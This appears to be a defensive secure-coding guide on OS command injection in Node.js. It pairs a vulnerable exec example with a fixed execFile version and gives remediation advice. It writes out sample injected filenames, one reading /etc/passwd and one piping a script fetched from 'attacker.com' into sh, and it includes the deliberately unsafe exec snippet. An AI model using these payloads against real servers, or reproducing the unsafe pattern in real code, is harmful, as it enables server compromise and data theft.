OS Command Injection
What Is This Vulnerability?
Command injection happens when an application passes user-controlled data to a system shell without proper sanitization. Attackers can append additional shell commands using characters like semicolons, pipes, or backticks, effectively gaining the ability to run arbitrary commands on the server with the application's privileges.
Why It Happens
Developers sometimes use child_process.exec or similar shell-invoking functions to perform tasks like image processing, file conversion, or system diagnostics. When user input is interpolated directly into the command string, the shell interprets special characters as command separators, allowing injection.
Example Code
import { exec } from "child_process";
app.post("/convert", (req, res) => {
const { filename } = req.body;
exec(`convert ${filename} output.png`, (err, stdout) => {
if (err) return res.status(500).send("Conversion failed");
res.send("Done");
});
});import { execFile } from "child_process";
import path from "path";
app.post("/convert", (req, res) => {
const { filename } = req.body;
const safeName = path.basename(filename);
execFile("convert", [safeName, "output.png"], (err, stdout) => {
if (err) return res.status(500).send("Conversion failed");
res.send("Done");
});
});How Hackers Exploit It
An attacker submits a filename like image.jpg; cat /etc/passwd or image.jpg && curl attacker.com/shell.sh | sh. The shell interprets the semicolon or double ampersand as a command separator and executes the injected command. This can lead to full server compromise, data exfiltration, or installation of backdoors.
How to Fix It
Replace exec with execFile or spawn, which pass arguments as an array and do not invoke a shell. Validate and sanitize all user input, restricting filenames to alphanumeric characters and expected extensions. Use path.basename() to strip directory components. Run the application with minimal OS permissions and consider sandboxing with containers.